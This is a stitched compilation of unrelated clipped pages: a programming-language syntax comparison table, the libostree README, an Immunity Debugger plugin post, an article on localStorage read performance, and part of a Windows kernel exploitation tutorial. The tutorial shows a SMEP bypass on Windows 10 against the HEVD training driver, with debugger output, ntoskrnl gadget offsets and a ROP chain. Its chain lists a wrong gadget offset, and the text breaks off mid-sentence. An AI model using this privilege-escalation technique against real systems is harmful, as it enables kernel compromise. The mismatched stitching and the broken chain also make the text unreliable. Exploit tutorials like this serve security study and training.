array slice| | A\(3..4\) := A\(1..2\);| a\[1:2\]  
_can assign to slice in_ UPDATE _statement but not in assignment_|  _none_  
array out of bounds behavior|  _undefined; free pascal permits out of bounds
memory access_|  _compiler warning; raises_ CONSTRAINT\_ERROR _at runtime_|
NULL| NULL  
declare multidimensional array| | | a integer\[\]\[\];|   
multidimensional array access| | | a\[2\]\[3\] = 7;|   
define record type|  _in type section:_  
customer = record  
id : integer;  
name : string;  
end;| type Customer is record  
Id : Integer;  
Name : String\(1..4\);  
end record;| create type customer as \( id integer, name text \);|  
declare record| c : customer;| C : Customer := \( 17, "John" \);| declare  
c customer;  
begin  
c = \(17,'John'\);  
 _code which uses_ c|  
record member access| c.name := 'Fred';| C.Name := 'Fred';| c.name = 'Fred'|  
record block| | | |   
functions  
| pascal| ada| pl/pgsql| sql/psm  
block with local scope| | | |   
procedure declaration| | | |   
function declaration| | | |   
drop function| | | drop function foo\(\);| drop function foo;  
call by reference| | | |   
nested functions| | | |   
overloading| | | |   
forward declaration| | | |   
execution control  
| pascal| ada| pl/pgsql| sql/psm  
if| if i = 0 then  
begin  
writeln\('no hits'\);  
end  
else  
if i = 1 then  
begin  
writeln\('one hit'\);  
end  
else  
writeln\(IntToStr\(i\) + ' hits'\);| if I = 0 then  
Put\_Line\("no hits"\);  
elsif I = 1 then  
Put\_Line\("one hit"\);  
else  
Put\_Line\(Integer'Image\(I\) & " hits"\);  
end if;| if i = 0 then  
return 'no hits';  
elsif i = 1 then  
return 'one hit';  
else  
return i || ' hits';  
end if;| if i = 0 then  
return 'no hits';  
elseif i = 1 then  
return 'one hit';  
else  
return i || ' hits';  
end if;  
while| i := 0;  
while i < 10 do  
begin  
writeln\(IntToStr\(i\)\);  
i := i + 1;  
end| I := 0;  
while I < 10 loop  
Put\_Line\(Integer'Image\(I\)\);  
I := I + 1;  
end loop;| i = 1;  
sum = 0;  
while i <= n loop  
sum = sum + i;  
i = i + 1;  
end loop;| declare s int default 0;  
declare i int default 1;  
while i<=n do  
set s = s + i;  
set i = i + 1;  
end while;  
for| for i := 0 to 9 do  
writeln\(IntToStr\(i\)\);| for I in 1..9 loop  
Put\_Line\(Integer'Image\(I\)\);  
end loop;| sum = 0;  
for i in 1..n loop  
sum = sum + i;  
end loop;| _none_  
break| | | |   
continue| | | |   
environment and i/o  
| pascal| ada| pl/pgsql| sql/psm  
libraries and modules  
| pascal| ada| pl/pgsql| sql/psm  
objects  
| pascal| ada| pl/pgsql| sql/psm  
reflection  
| pascal| ada| pl/pgsql| sql/psm  
database  
| pascal| ada| pl/pgsql| sql/psm \(mysql\)  
command line tool| | | psql -U _user_ _database_|  mysql5 -u _user_ _database_  
switch database| | | \connect _database_ ;| use _database_  
show databases| | | select datname from pg\_database;| show databases;  
show tables| | | \d| show tables;  
describe table| | | \d _table_|  describe _table_  
run sql script| | | \i foo.sql| source foo.sql  
redirect output to file| | | \o bar.txt  
select \* from bar;  
\o| tee bar.txt  
select \* from bar;  
notee  
|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
# Arithmetic and Logic

# Strings

## string literal

## string concatenate

# Containers

# Functions

# Execution Control

# Environment and I/O

# Libraries and Modules

# Objects

# Reflection

# Database Notes

## command line

**pl/pgsql \(postgres\):**

If the database user is not specified, it will default to the operating system
user. If the database is not specified, it will default to the operating
system user.

**sql/psm \(mysql\):**

If the database user is not specified, it will default to the operating system
user. If the database is not specified, a database must be provided at the
command prompt before work can be done.

# Algol

The Syntax and Semantics of the Proposed International Algebraic Language of
the Zurich ACM-GAMM Conference Backus 1959  
Revised Report on the Algorithm Language Algol 60 Naur 1960  
Algol-W Manual \(pdf\)  
Burroughs Extended Algol Reference Manual 1962, 1966

# Pascal

Pascal Tutorial  
The Programming Language Pascal Wirth 1973  
ISO 7185 1983,1990  
The P4 Compiler and Interpreter  
UCSD Pascal System II Manual 1979  
UCSD System I Source Code 1978  
Why Pascal is Not My Favorite Language Kernighan 1981  
Summary of ISO 7185 \(1983\) and ISO 10206 \(1991\)  
Free Pascal Documentation

The design goals of Pascal were to "make available a language suitable to
teach programming" and to develop a language which is "both reliable and
efficient on presently available computers."

Pascal is based on Algol-60. It adds user defined types such as records and
enumerations. Pascal forbids forward references which permits compilation with
a one-pass compiler. The first working compiler appeared in 1970 and ran on
the CDC 6000.

From its earliest implementations, Pascal compilers were often implemented in
Pascal. A series of compilers called P1, P2, P3, and P4 were developed in
Zurich in the early 1970s which used an intermediate representation called
P-code as a portability aid. The backend could be replaced by a virtual
machine, and this technique was employed by the UCSD p-System, which appeared
in 1978. The UCSD p-System design influenced Java and the JVM.

The language was standardized by ANSI and ISO in 1983. That same year Turbo
Pascal was released for MS-DOS. Turbo Pascal was fast and easy to use. Pascal
was used in the development of the Macintosh with some hand translation of
Pascal code into assembly. Apple developed an object oriented extension of
Pascal and shipped a framework called MacApp which used it in 1986. Object
Pascal and MacApp were supported until the switch to the PowerPC architecture
in 1994. Objects were added to Turbo Pascal for Mac in 1986, and for DOS Turbo
Pascal in 1989. Extensions to Pascal made by Borland and others were
incorprated into the Extended Pascal ISO standard in 1991. Object oriented
extensions to Pascal have not been standardized, however. Borland renamed
their product Delphi in 1995.

# Modula-2

Modula-2 Tutorial  
Modula-2 Reference

After spending a year at Xerox PARC, Wirth decided to build his own
workstation modeled on the Alto. For this workstation Wirth designed a new
language which he described "Programming in Modula-2" \(1982\). Modula-2 was
Pascal with a few new features, the most import of which was the _module_
which is both a unit of compilation and a scope for identifier bidings. A
client of a module can import qualified or unqualified identifier bindings
into its own scope. The syntax for doing this is the same as that used by
Python. Unlike Python, a module has control over which bindings can be
imported by a client.

# Ada

Ada Tutorial  
Rationale for the Design of the Ada Programming Language 1983  
Ada 83 Reference Manual  
Ada 95 Reference Manual  
Ada 2005 Reference Manual \(pdf\)  
GNAT 4.1.2 Reference Manual  
History of the Ada Programming Language

In 1979 the US Department of Defense, in an effort to reduce the number of
programming languages used in defense projects, awarded a project to Honeywell
to design and develop a new high level language called Ada. The DoD approved
the Ada reference manual in 1980. The language received ANSI standardization
in 1983 and the object oriented extension received ANSI/ISO standardization in
1995. The DoD had regulations requiring the use of Ada from 1987 to 1997.

# VHDL

Initially specified in 1987.

# Modula-3

Modula-3 Report Cardelli etal. 1989

# PL/pgSQL

Oracle 11g PL/SQL Language Reference  
Oracle 11g PL/SQL Packages and Types Reference  
PostgreSQL 8.4 Documention: PL/pgSQL  
Porting from PL/SQL to PL/pgSQL

Oracle 6 \(1988\) introduced PL/SQL. Oracle 7 \(1992\) added stored
procedures. PostgreSQL 6.4 \(1998\) added PL/pgSQL.

PL/SQL is an extension to SQL in that SQL statements can be used as statements
in the body of a PL/SQL procedure. PL/SQL variables which are in scope can be
used in the SQL statement, and as a result it using variables names which are
the same as table, column, or function names should be avoided.

# SQL/PSM

MySQL 5.1 Reference Manual: Compound-Statement Syntax

The SQL3 standard \(1999\) contains a procedural extension called SQL/PSM.
MySQL implemented it in 2005. Postgres added an implementation called PL/pgPSM
in 2007.

MySQL does not by default implement the ANSI standard. If the user has SUPER
privilege, the server can be toggled between ANSI and TRADITIONAL mode:

[code]

    > set global sql_mode='ANSI';
    > set global sql_mode='TRADITIONAL';
    
[/code]

This can also be done at the level of the session:

[code]

    > set session sql_mode='ANSI';
    > set session sql_mode='TRADITIONAL';
    
[/code]

page revision: 339, last edited: 12 Aug 2011, 22:22 CEST \(59 days ago\)

Edit History Files \+ Options

Help | Terms of Service | Privacy | Report a bug | Flag as objectionable
Powered by Wikidot.com

Unless otherwise stated, the content of this page is licensed under Creative
Commons Attribution-ShareAlike 3.0 License

<img
src='http://hyperpolyglot.org/data:image/png;base64,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'
width='24' height='24' />

# OSTree

**Created:**| _1/2/2019 6:39:38 PM_  
---|---  
**Updated:**| _1/2/2019 6:39:38 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## libostree

New\! See the docs online at Read The Docs \(OSTree\)

* * *
This project is now known as "libostree", though it is still appropriate to
use the previous name: "OSTree" \(or "ostree"\). The focus is on projects
which use libostree's shared library, rather than users directly invoking the
command line tools \(except for build systems\). However, in most of the rest
of the documentation, we will use the term "OSTree", since it's slightly
shorter, and changing all documentation at once is impractical. We expect to
transition to the new name over time.

As implied above, libostree is both a shared library and suite of command line
tools that combines a "git-like" model for committing and downloading bootable
filesystem trees, along with a layer for deploying them and managing the
bootloader configuration.

The core OSTree model is like git in that it checksums individual files and
has a content-addressed-object store. It's unlike git in that it "checks out"
the files via hardlinks, and they thus need to be immutable to prevent
corruption. Therefore, another way to think of OSTree is that it's just a more
polished version of Linux VServer hardlinks.

**Features:**

  * Transactional upgrades and rollback for the system
  * Replicating content incrementally over HTTP via GPG signatures and "pinned TLS" support
  * Support for parallel installing more than just 2 bootable roots
  * Binary history on the server side \(and client\)
  * Introspectable shared library API for build and deployment systems
  * Flexible support for multiple branches and repositories, supporting projects like flatpak which use libostree for applications, rather than hosts.

## Projects using OSTree

meta-updater is a layer available for OpenEmbedded systems.

QtOTA is Qt's over-the-air update framework which uses libostree.

rpm-ostree is a next-generation hybrid package/image system for Fedora and
CentOS, used by the Atomic Host project. By default it uses libostree to
atomically replicate a base OS \(all dependency resolution is done on the
server\), but it supports "package layering", where additional RPMs can be
layered on top of the base. This brings a "best of both worlds"" model for
image and package systems.

flatpak uses libostree for desktop application containers. Unlike most of the
other systems here, flatpak does not use the "libostree host system" aspects
\(e.g. bootloader management\), just the "git-like hardlink dedup". For
example, flatpak supports a per-user OSTree repository.

Endless OS uses libostree for their host system as well as flatpak. See their
eos-updater and deb-ostree-builder projects.

GNOME Continuous is where OSTree was born - as a high performance continuous
delivery/testing system for GNOME.

The BuildStream build and integration tool uses libostree as a caching system
to store and share built artifacts.

## Language bindings

libostree is accessible via GObject Introspection; any language which has
implemented the GI binding model should work. For example, Both pygobject and
gjs are known to work and further are actually used in libostree's test suite
today.

Some bindings take the approach of using GI as a lower level and write higher
level manual bindings on top; this is more common for statically compiled
languages. Here's a list of such bindings:

  * ostree-go
  * rust-libostree

## Building

Releases are available as GPG signed git tags, and most recent versions
support extended validation using git-evtag.

However, in order to build from a git clone, you must update the submodules.
If you're packaging OSTree and want a tarball, I recommend using a "recursive
git archive" script. There are several available online; this code in OSTree
is an example.

Once you have a git clone or recursive archive, building is the same as almost
every autotools project:

[code]

    git submodule update --init
    env NOCONFIGURE=1 ./autogen.sh
    ./configure --prefix=...
    make
    make install DESTDIR=/path/to/dest
    
[/code]

## More documentation

New\! See the docs online at Read The Docs \(OSTree\)

## Contributing

See Contributing.

## Licensing

The licensing for the _code_ of libostree can be canonically found in the
individual files; and the overall status in the COPYING file in the source.
Currently, that's LGPLv2+. This also covers the man pages and API docs.

The license for the manual documentation in the `doc/` directory is: `SPDX-
License-Identifier: (CC-BY-SA-3.0 OR GFDL-1.3-or-later)` This is intended to
allow use by Wikipedia and other projects.

In general, files should have a `SPDX-License-Identifier` and that is
canonical.

# » Immunity Debugger: signatures scanner inREVERSE

**Created:**| _11/24/2009 1:18:27 PM_  
---|---  
**Updated:**| _11/24/2009 1:18:34 PM_  
**Author:**| __  
**Tags:**| _Debugging reversing_  
  

## Immunity Debugger: signatures scanner

It is time to publish a plugin I wrote some time ago, but it is still really
useful, I’m planning to release an updated version in the near future <img
src='img/Temp2_10794.gif' alt=':)' />

immSignSrch is a signatures scanner plugin for Immunity Debugger developed
upon Luigi Auriemma’s signSrch.

**Features:**

Fast search engine;  
It can recognize:  
\- tons of compression, multimedia and encryption algorithms;  
\- many other things \(like known strings and anti-debugging code\).  
Signatures DB automatically updatable from the program itself and editable by
hand.

<img src='img/Temp2_10793.gif' width='516' height='199' alt='iss_sc1' />

<img src='img/Temp2_10792.gif' width='505' height='300' alt='iss_sc2' />**  
Usage:**

From the command line \(ALT + F1\) type: \!iss -h

**Download:**

Latest release of immSignSrch is available here.

Have fun **:\)**

# Performance Calendar » localStorage Read Performance

**Created:**| _12/3/2011 1:36:41 PM_  
---|---  
**Updated:**| _12/3/2011 1:36:41 PM_  
**Author:**| __  
**Tags:**| _html5_  
  

2nd

Dec 2011

## localStorage Read Performance

by Nicholas Zakas

Web Storage has quickly become one of the most popular HTML5-related additions
to the web developer toolkit. More specifically, `localStorage` has found a
home in the hearts and minds of web developers everywhere, providing very
quick and easy client-side data storage that persists across sessions. With a
simple key-value interface, we’ve seen sites take advantage of `localStorage`
in unique and interesting ways:

  * Disqus, the popular feedback management system, uses `localStorage` to save your comment as you type. So if something horrible happens, you can fire back up the browser and pick up where you left off.
  * Google and Bing store JavaScript and CSS in `localStorage` to improve their mobile site performance \(more info\).

Of the use cases I’ve seen, the Google/Bing approach is one that seems to be
gaining in popularity. This is partly due to the difficulties of working with
the HTML5 application cache and partly due to the publicity that this
technique has gained from the work of Steve Souders and others. Indeed, the
more I talk to people about `localStorage` and how useful it can be for
storing UI-related information, the more people I find who have already
started to experiment with this technique.

What I find intriguing about this use of `localStorage` is that there’s a
built-in, and yet unstated, assumption: that reading from `localStorage` is
less expensive than making an HTTP request. After all, it wouldn’t make sense
to read data locally if you could get fresh, updated data remotely for the
same cost. So I set out to try and quantify the performance characteristics of
`localStorage`, to determine the actual cost of reading data.

### The Benchmark

Not too long ago, I created and shared a simple benchmark that measured
reading a value from `localStorage` against reading a value from an object
property. Several others tweaked the benchmark to arrive at a more reliable
version. The end result: reading from `localStorage` is orders of magnitude
slower _in every browser_ than reading the same data from an object property.
Exactly how much slower? Take a look at the following chart \(higher numbers
are better\).

<img src='img/Temp2_6203.png' alt='Chart comparing reading from an object to
reading from localStorage' />

You may be confused after looking at this chart because it appears that
reading from `localStorage` isn’t represented. In fact, it is represented, you
just can’t see it because _the numbers are so low as to not even be visible
with this scale._ With the exception of Safari 5, whose `localStorage`
readings actually show up, every other browser has such a large difference
that there’s no way to see it on this chart. When I adjust the Y-axis values,
you can now see how the measurements stack up across browsers:

<img src='img/Temp2_6204.png' alt='Chart comparing reading from an object to
reading from localStorage' />

By changing the scale of the Y-axis, you’re now able to see a true comparison
of `localStorage<` versus object property reads. But still, the difference
between the two is so vast that it's almost comical. Why?

### What's Going On?

In order to persist across browser sessions, values in `localStorage` are
written to disk. That means when you're reading a value from `localStorage`,
you're actually reading some bytes from the hard drive. Reading from and
writing to a hard drive are expensive operations, especially as compared
reading from and writing to memory. In essence, that's exactly what my
benchmark was testing: the speed of reading a value from memory \(object
property\) compared to reading a value from disk \(`localStorage`\).

Making matters more interesting is the fact that `localStorage` data is stored
per-origin, which means that it's possible for two or more tabs in a browser
to be accessing the same `localStorage` data at the same time. This is a big
pain for browser implementors who need to figure out how to synchronize access
across tabs. When you attempt to read from `localStorage`, the browser needs
to stop and see if any other tab is accessing the same area first. If so, it
must wait until the access is finished before the value can be read.

So the delay associated with reading from `localStorage` is variable - it
depends a lot on what else is going on with the browser at that point in time.

### Optimization Strategy

Given that there is a cost to reading from `localStorage`, how does that
affect how you would use it? Before coming to a conclusion, I ran another
benchmark to determine the effect of reading different size pieces of data
from `localStorage`. The benchmarks saves four different size strings, 100
characters, 500 characters, 1000 characters, and 2000 characters, into
`localStorage` and then reads them out. The results were a little surprising:
across all browsers, the amount of data being read _did not_ affect how
quickly the read happened.

I ran the test multiple times and implored my Twitter followers to get more
information. To be certain, there were definitely a few variances across
browsers, but none that were large enough that it really makes a difference.
My conclusion: it doesn't matter how much data you read from a single
`localStorage` key.

I followed up with another benchmark to test my new conclusion that it's
better to do as few reads as possible. The results correlated with the earlier
benchmark in that reading 100 characters 10 times was around 90% slower across
most browsers than reading 10000 characters one time.

Given that, the best strategy for reading data from `localStorage` is to use
as few keys as possible to store as much data as possible. Since it takes the
roughly same amount of time to read 10 characters as it does to read 2000
characters, try to put as much data as possible into a single value. You're
getting hit each time you call `getItem()` \(or read from a `localStorage`
property\), so make sure that you're getting the most out of the expense. The
faster you get data into memory, either a variable or an object property, the
faster all subsequent actions.

# abatchy's blog | \[Kernel Exploitation\] 4: Stack Buffer Overflow \(SMEP Bypass\)
**Created:**| _3/7/2018 8:44:22 AM_  
---|---  
**Updated:**| _3/7/2018 8:44:22 AM_  
**Author:**| _wishi_  
**Tags:**| _windows kernel_  
  

  

Thursday, January 11, 2018

  * Kernel Exploitation

# \[Kernel Exploitation\] 4: Stack Buffer Overflow \(SMEP Bypass\)

_Part 3 showed how exploitation is done for the stack buffer overflow
vulnerability on a Windows 7 x86/x64 machine. This part will target Windows 10
x64, which has SMEP enabled by default on it._

_Exploit code can be foundhere._

_Windows build: 16299.15.amd64fre.rs3\_release.170928-1534_

_ntoskrnl’s version: 10.0.16288.192_

* * *
Instead of mouthfeeding you the problem, let’s run the x64 exploit on the
Windows 10 machine and see what happens.

[code]

    kd> bu HEVD!TriggerStackOverflow + 0xc8
    
    kd> g
    Breakpoint 1 hit
    HEVD!TriggerStackOverflow+0xc8:
    fffff801`7c4d5708 ret
    
    kd> k
     # Child-SP          RetAddr           Call Site
    00 ffffa308`83dfe798 00007ff6`8eff11d0 HEVD!TriggerStackOverflow+0xc8 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 101] 
    01 ffffa308`83dfe7a0 ffffd50f`91a47110 0x00007ff6`8eff11d0
    02 ffffa308`83dfe7a8 00000000`00000000 0xffffd50f`91a47110
    
[/code]

Examining the instructions at `00007ff68eff11d0` verifies that it’s our
payload. What would go wrong?

[code]

    kd> t
    00007ff6`8eff11d0 xor     rax,rax
    kd> t
    KDTARGET: Refreshing KD connection
    
    *** Fatal System Error: 0x000000fc
                           (0x00007FF68EFF11D0,0x0000000037ADB025,0xFFFFA30883DFE610,0x0000000080000005)
    
    
    A fatal system error has occurred.
    Debugger entered on first try; Bugcheck callbacks have not been invoked.
    
    A fatal system error has occurred.
    
[/code]

Stop error `0x000000fc` indicates a `ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY`
issue which is caused by a hardware mitigation called SMEP \(Supervisor Mode
Execution Prevention\).

Continueing execution results in this lovely screen…

<img src='img/kernel5.png' width='579' height='437' alt='smep_1' />

### 1\. So what’s SMEP?

SMEP \(Supervisor Mode Execution Prevention\) is a hardware mitigation
introducted by Intel \(branded as “OS Guard”\) that restricts executing code
that lies in usermode to be executed with Ring-0 privileges, attempts result
in a crash. This basically prevents EoP exploits that rely on executing a
usermode payload from ever executing it.

The SMEP bit is bit 20 of the CR4 register, which Intel defines as:

[code]

    CR4 — Contains a group of flags that enable several architectural extensions, and indicate operating system or executive support for specific processor capabilities. 
    
[/code]

Setting this bit to 1 enables SMEP, while setting it to 0 disables it \(duh\).

You can read more about this in the Intel Developer’s Manual.

### 2\. Bypassing SMEP

There are a few ways described in the reading material that allow you to
bypass SMEP, I recommend reading them for better understanding. For this
exploit we’ll use the first method described in j00ru’s blog:

  * Construct a ROP chain that reads the content of CR4, flips the 20th bit and writes the new value to CR4. With SMEP disabled, we can “safely” jump to our user-mode payload.
  * If reading and/or modifying the content is not possible, just popping a “working” value to CR4 register will work. While this is not exactly elegant or clean, it does the job.

Worth noting is that Hyperguard won’t allow modifying CR4 if you’re using a
Hyper-V instance.

[code]

    Virtualization-based security (VBS)
    
    Virtualization-based security (VBS) enhancements provide another layer of protection against attempts to execute malicious code in the kernel. For example, Device Guard blocks code execution in a non-signed area in kernel memory, including kernel EoP code. Enhancements in Device Guard also protect key MSRs, control registers, and descriptor table registers. Unauthorized modifications of the CR4 control register bitfields, including the SMEP field, are blocked instantly.
    
[/code]

Gadgets we’ll be using all exist in `ntoskrnl.exe` which we’re able to get its
base address using `EnumDrivers` \(some say it’s not reliable but I didn’t run
into issues, but given its behaviour isn’t publicly documented you better
cross your fingers\) or by calling `NtQuerySystemInformation` \(you’ll need to
export it first\), we’ll be using the first approach.

[code]

        LPVOID addresses[1000];
        DWORD needed;
    
        EnumDeviceDrivers(addresses, 1000, &needed);
    
        printf("[+] Address of ntoskrnl.exe: 0x%p\n", addresses[0]);
    
[/code]

Okay, now that we have `nt`’s base address, we can rely on finding relative
offsets to it for calculating the ROP chain’s gadgets.

I referred to ptsecurity’s post on finding the gadgets.

First gadget we need should allow us to pop a value into the `cr4` registe.
Once we find one, we’ll be able to figure out which register we need to
control its content next.

[code]

    kd> uf nt!KiConfigureDynamicProcessor
    
    nt!KiConfigureDynamicProcessor:
    fffff802`2cc36ba8 sub     rsp,28h
    fffff802`2cc36bac call    nt!KiEnableXSave (fffff802`2cc2df48)
    fffff802`2cc36bb1 add     rsp,28h
    fffff802`2cc36bb5 ret
    
    kd> uf fffff802`2cc2df48
    
    nt!KiEnableXSave:
    fffff802`2cc2df48 mov     rcx,cr4
    fffff802`2cc2df4b test    qword ptr [nt!KeFeatureBits (fffff802`2cc0b118)],800000h
    
    ... snip ...
    
    nt!KiEnableXSave+0x39b0:
    fffff802`2cc318f8 btr     rcx,12h
    fffff802`2cc318fd mov     cr4,rcx       // First gadget!
    fffff802`2cc31900 ret
    
    kd> ? fffff802`2cc318fd - nt
    
    Evaluate expression: 4341861 = 00000000`00424065
    
[/code]

**Gadget \#1 is`mov cr4,rcx` at `nt + 0x424065`\!**

Now we need a way to control `rcx`’s content, ptsecurity’s post mentions
`HvlEndSystemInterrupt` as a good target:

[code]

    kd> uf HvlEndSystemInterrupt
    
    nt!HvlEndSystemInterrupt:
    fffff802`cdb76b60 push    rcx
    fffff802`cdb76b62 push    rax
    fffff802`cdb76b63 push    rdx
    fffff802`cdb76b64 mov     rdx,qword ptr gs:[6208h]
    fffff802`cdb76b6d mov     ecx,40000070h
    fffff802`cdb76b72 btr     dword ptr [rdx],0
    fffff802`cdb76b76 jb      nt!HvlEndSystemInterrupt+0x1e (fffff802`cdb76b7e)  Branch
    
    nt!HvlEndSystemInterrupt+0x18:
    fffff802`cdb76b78 xor     eax,eax
    fffff802`cdb76b7a mov     edx,eax
    fffff802`cdb76b7c wrmsr
    
    nt!HvlEndSystemInterrupt+0x1e:
    fffff802`cdb76b7e pop     rdx
    fffff802`cdb76b7f pop     rax
    fffff802`cdb76b80 pop     rcx       // Second gadget!
    fffff802`cdb76b81 ret
    
    kd> ? fffff802`cdb76b80 - nt
    Evaluate expression: 1514368 = 00000000`00171b80
    
[/code]

**Gadget \#2 is`pop rcx` at `nt + 0x171b80`\!**

ROP chain will be the following:

[code]

    +------------------+
    |pop rcx; ret      |	// nt + 0x424065
    +------------------+
    |value of rcx      |	// ? @cr4 & FFFFFFFF`FFEFFFFF
    +------------------+
    |mov cr4, rcx; ret |	// nt + 0x424065
    +------------------+
    |addr of payload   |	// Available from user-mode
    +------------------+
    
[/code]

It’s extremely important to notice that writing more than 8 bytes starting the
RIP offset means the next stack frame gets corrupted. Returning to

### 3\. Restoring execution flow

Let’s take one more look on the stack call BEFORE the `memset` call:

[code]

    Breakpoint 1 hit
    HEVD!TriggerStackOverflow:
    fffff801`71025640 mov     qword ptr [rsp+8],rbx
    kd> k
     # Child-SP          RetAddr           Call Site
    00 ffff830f`5a53a798 fffff801`7102572a HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65] 
    01 ffff830f`5a53a7a0 fffff801`710262a5 HEVD!StackOverflowIoctlHandler+0x1a [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 125] 
    02 ffff830f`5a53a7d0 fffff801`714b02d9 HEVD!IrpDeviceIoCtlHandler+0x149 [c:\hacksysextremevulnerabledriver\driver\hacksysextremevulnerabledriver.c @ 229] 
    03 ffff830f`5a53a800 fffff801`7190fefe nt!IofCallDriver+0x59
    04 ffff830f`5a53a840 fffff801`7190f73c nt!IopSynchronousServiceTail+0x19e
    
[/code]

#### Pitfall 1: returning to `StackOverflowIoctlHandler+0x1a`

Although adjusting the stack to return to this call works, a parameter on the
stack \(`Irp`’s address\) gets overwritten thanks to the ROP chain and is not
recoverable as far as I know. This results in an access violation later on.

Assembly at `TriggerStackOverflow+0xbc`:

[code]

    fffff801`710256f4 lea     r11,[rsp+820h]
    fffff801`710256fc mov     rbx,qword ptr [r11+10h]	// RBX should contain Irp's address, this is now overwritten to the new cr4 value
    
[/code]

This results in `rbx` \(previously holding `Irp`’s address for
`IrpDeviceIoCtlHandler` call\) to hold the new `cr4` address and later on
being accessed, results in a BSOD.

[code]

    fffff801`f88d63e0 and     qword ptr [rbx+38h],0 ds:002b:00000000`000706b0=????????????????
    
[/code]

Notice that `rbx` holds `cr4`’s new value. This instructions maps to

[code]

    Irp->IoStatus.Information = 0;
    
[/code]

in `IrpDeviceIoCtlHandler`.

So, returning to `StackOverflowIoctlHandler+0x1a` is not an option.

#### Pitfall 2: Returning to `HEVD!IrpDeviceIoCtlHandler+0x149`

Same issue as above, `Irp`’s address is corrupted and lost for good. Following
instructions result in access violation.

[code]

    Irp->IoStatus.Status = Status;
    Irp->IoStatus.Information = 0;
    
[/code]

You can make `rbx` point to some writable location but good luck having a
valid `Irp` struct that passes the following call.

[code]

    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    
[/code]

Another dead end.

#### Pitfall 3: More access violations

Now we go one more level up the stack, to `nt!IofCallDriver+0x59`. Jumping to
this code DOES work but still, access violation in `nt` occurs.

It’s extremely important \(and I mean it\) to take note of all the registers
how they behave when you make the IOCTL code in both a normal \(non-
